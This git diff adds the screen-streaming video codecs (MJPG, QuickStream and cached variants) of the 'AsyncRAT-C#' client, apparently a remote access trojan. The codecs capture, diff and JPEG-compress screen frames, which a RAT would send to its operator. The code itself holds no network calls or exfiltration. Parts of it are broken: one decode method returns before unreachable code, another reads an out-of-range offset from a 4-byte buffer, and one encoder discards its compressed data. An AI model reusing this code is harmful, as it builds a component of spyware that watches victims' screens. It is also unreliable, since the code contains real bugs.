||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
68
AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs
Normal file
68
AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs
Normal file
@ -0,0 +1,68 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The M-JPG codec is not very efficient for networking as it is just a very simple codec
|
||||||
|
/// </summary>
|
||||||
|
public class MJPGCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
internal set { }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.None; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public MJPGCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (base.jpgCompression)
|
||||||
|
{
|
||||||
|
byte[] data = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
|
||||||
|
outStream.Write(data, 0, data.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
lock (base.jpgCompression)
|
||||||
|
{
|
||||||
|
if (!inStream.CanRead)
|
||||||
|
throw new Exception("Must have access to Read in the Stream");
|
||||||
|
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
int DataLength = BitConverter.ToInt32(temp, 0);
|
||||||
|
temp = new byte[DataLength];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,204 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class QuickCachedStreamCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
private Bitmap CodeTempBitmap;
|
||||||
|
private Bitmap DecodeTempBitmap;
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int MaxBuffers { get; private set; }
|
||||||
|
private SortedList<int, byte[]> EncodeCache;
|
||||||
|
private SortedList<int, byte[]> DecodeCache;
|
||||||
|
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of QuickStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||||
|
public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.MaxBuffers = MaxBuffers;
|
||||||
|
this.EncodeCache = new SortedList<int, byte[]>();
|
||||||
|
this.DecodeCache = new SortedList<int, byte[]>();
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
if (CodeTempBitmap != null)
|
||||||
|
{
|
||||||
|
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (CodeTempBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
CodeTempBitmap = bitmap;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||||
|
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||||
|
int Stride = Math.Abs(bmpData.Stride);
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
|
||||||
|
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||||
|
{
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||||
|
|
||||||
|
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||||
|
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[Stride];
|
||||||
|
fixed(byte* ptr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
CRC32 hasher = new CRC32();
|
||||||
|
int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
|
||||||
|
|
||||||
|
if (EncodeCache.Count >= MaxBuffers)
|
||||||
|
EncodeCache.RemoveAt(0);
|
||||||
|
|
||||||
|
if (EncodeCache.ContainsKey(hash))
|
||||||
|
{
|
||||||
|
outStream.WriteByte(1);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
outStream.WriteByte(0);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
EncodeCache.Add(hash, temp);
|
||||||
|
}
|
||||||
|
Blocks.Add(ScanBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||||
|
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||||
|
|
||||||
|
cloned.Dispose();
|
||||||
|
}
|
||||||
|
|
||||||
|
bitmap.UnlockBits(bmpData);
|
||||||
|
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||||
|
|
||||||
|
if (onVideoStreamCoding != null)
|
||||||
|
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||||
|
|
||||||
|
if (CodeTempBitmap != null)
|
||||||
|
CodeTempBitmap.Dispose();
|
||||||
|
this.CodeTempBitmap = bitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
if (!inStream.CanRead)
|
||||||
|
throw new Exception("Must have access to Read in the Stream");
|
||||||
|
|
||||||
|
if (DecodeTempBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return DecodeTempBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||||
|
//int Stride = Math.Abs(BmpData.Stride);
|
||||||
|
|
||||||
|
while (inStream.Position < inStream.Length)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[11];
|
||||||
|
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||||
|
break;
|
||||||
|
|
||||||
|
bool inCache = temp[0] == 1;
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 1);
|
||||||
|
int Hash = BitConverter.ToInt32(temp, 5);
|
||||||
|
ushort Y = BitConverter.ToUInt16(temp, 9);
|
||||||
|
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (inCache)
|
||||||
|
{
|
||||||
|
if (DecodeCache.ContainsKey(Hash))
|
||||||
|
{
|
||||||
|
temp = DecodeCache[Hash];
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//copy new data to cached bitmap
|
||||||
|
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
|
||||||
|
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||||
|
{
|
||||||
|
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||||
|
}
|
||||||
|
|
||||||
|
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||||
|
int Offset = Y * Stride;
|
||||||
|
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||||
|
//tmpBmp.UnlockBits(tmpData);
|
||||||
|
tmpBmp.Dispose();
|
||||||
|
}
|
||||||
|
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||||
|
|
||||||
|
return DecodeTempBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
179
AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs
Normal file
179
AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs
Normal file
@ -0,0 +1,179 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class QuickStreamCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
private Bitmap CodeTempBitmap;
|
||||||
|
private Bitmap DecodeTempBitmap;
|
||||||
|
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of QuickStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||||
|
public QuickStreamCodec(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
if (CodeTempBitmap != null)
|
||||||
|
{
|
||||||
|
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (CodeTempBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
CodeTempBitmap = bitmap;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||||
|
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||||
|
int Stride = Math.Abs(bmpData.Stride);
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
|
||||||
|
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||||
|
{
|
||||||
|
if(onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||||
|
|
||||||
|
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||||
|
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
int index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
|
||||||
|
{
|
||||||
|
ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
|
||||||
|
Blocks[index] = ScanBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(ScanBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||||
|
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
cloned.Dispose();
|
||||||
|
TotalDataLength += 6 + temp.Length;
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
|
||||||
|
bitmap.UnlockBits(bmpData);
|
||||||
|
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||||
|
|
||||||
|
if (onVideoStreamCoding != null)
|
||||||
|
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||||
|
|
||||||
|
if (CodeTempBitmap != null)
|
||||||
|
CodeTempBitmap.Dispose();
|
||||||
|
this.CodeTempBitmap = bitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
if (!inStream.CanRead)
|
||||||
|
throw new Exception("Must have access to Read in the Stream");
|
||||||
|
|
||||||
|
if (DecodeTempBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 4);
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return DecodeTempBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
byte[] LenTemp = new byte[4];
|
||||||
|
inStream.Read(LenTemp, 0, 4);
|
||||||
|
int DataLength = BitConverter.ToInt32(LenTemp, 0);
|
||||||
|
|
||||||
|
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||||
|
//int Stride = Math.Abs(BmpData.Stride);
|
||||||
|
|
||||||
|
while (DataLength > 0)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[6];
|
||||||
|
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||||
|
break;
|
||||||
|
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
ushort Y = BitConverter.ToUInt16(temp, 4);
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||||
|
break;
|
||||||
|
|
||||||
|
//copy new data to cached bitmap
|
||||||
|
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
|
||||||
|
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||||
|
{
|
||||||
|
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||||
|
}
|
||||||
|
|
||||||
|
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||||
|
int Offset = Y * Stride;
|
||||||
|
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||||
|
//tmpBmp.UnlockBits(tmpData);
|
||||||
|
tmpBmp.Dispose();
|
||||||
|
DataLength -= 6 + temp.Length;
|
||||||
|
}
|
||||||
|
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||||
|
|
||||||
|
return DecodeTempBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,374 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.Codecs
|
||||||
|
{
|
||||||
|
public class SmallCachedStreamCodec : IVideoCodec
|
||||||
|
{
|
||||||
|
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||||
|
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
SortedList<int, byte[]> codeCached;
|
||||||
|
SortedList<int, byte[]> decodeCached;
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return codeCached.Count; }
|
||||||
|
}
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
private Size CheckBlock { get; set; }
|
||||||
|
public SimpleBitmap LastFrame { get; set; }
|
||||||
|
private object ImageProcessLock = new object();
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
private CRC32 hasher;
|
||||||
|
public int MaxBuffers { get; private set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of SmallCachedStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="MaxBuffers">The maximum amount of buffers, higher value will decrease stream size but could decrease performance</param>
|
||||||
|
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||||
|
public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
CheckBlock = new Size(20, 1);
|
||||||
|
codeCached = new SortedList<int, byte[]>();
|
||||||
|
decodeCached = new SortedList<int, byte[]>();
|
||||||
|
hasher = new CRC32();
|
||||||
|
this.MaxBuffers = MaxBuffers;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void SetLastFrame(ref Bitmap bmp)
|
||||||
|
{
|
||||||
|
SetLastFrame(new SimpleBitmap(bmp));
|
||||||
|
}
|
||||||
|
private void SetLastFrame(SimpleBitmap bmp)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
if (LastFrame != null && LastFrame.Locked)
|
||||||
|
LastFrame.Dispose(true);
|
||||||
|
LastFrame = bmp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
if (LastFrame == null)
|
||||||
|
{
|
||||||
|
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
SetLastFrame(ref bitmap);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
List<byte[]> updates = new List<byte[]>();
|
||||||
|
SimpleBitmap sbBmp = new SimpleBitmap(bitmap);
|
||||||
|
MemoryStream ms = new MemoryStream();
|
||||||
|
byte[] buffer = null;
|
||||||
|
|
||||||
|
if (!LastFrame.Locked)
|
||||||
|
LastFrame.Lock();
|
||||||
|
|
||||||
|
sbBmp.Lock();
|
||||||
|
|
||||||
|
if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
|
||||||
|
if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height)
|
||||||
|
{
|
||||||
|
sbBmp.Unlock();
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
int index = 0;
|
||||||
|
|
||||||
|
int y = 0;
|
||||||
|
int x = 0;
|
||||||
|
|
||||||
|
Size s = new Size(bitmap.Width, CheckBlock.Height);
|
||||||
|
Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height);
|
||||||
|
|
||||||
|
int lasty = bitmap.Height - lastSize.Height;
|
||||||
|
int lastx = bitmap.Width - lastSize.Width;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle();
|
||||||
|
|
||||||
|
s = new Size(bitmap.Width, s.Height);
|
||||||
|
while (y != bitmap.Height)
|
||||||
|
{
|
||||||
|
if (y == lasty)
|
||||||
|
s = new Size(bitmap.Width, lastSize.Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(0, y, bitmap.Width, s.Height);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||||
|
//if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info))
|
||||||
|
{
|
||||||
|
index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
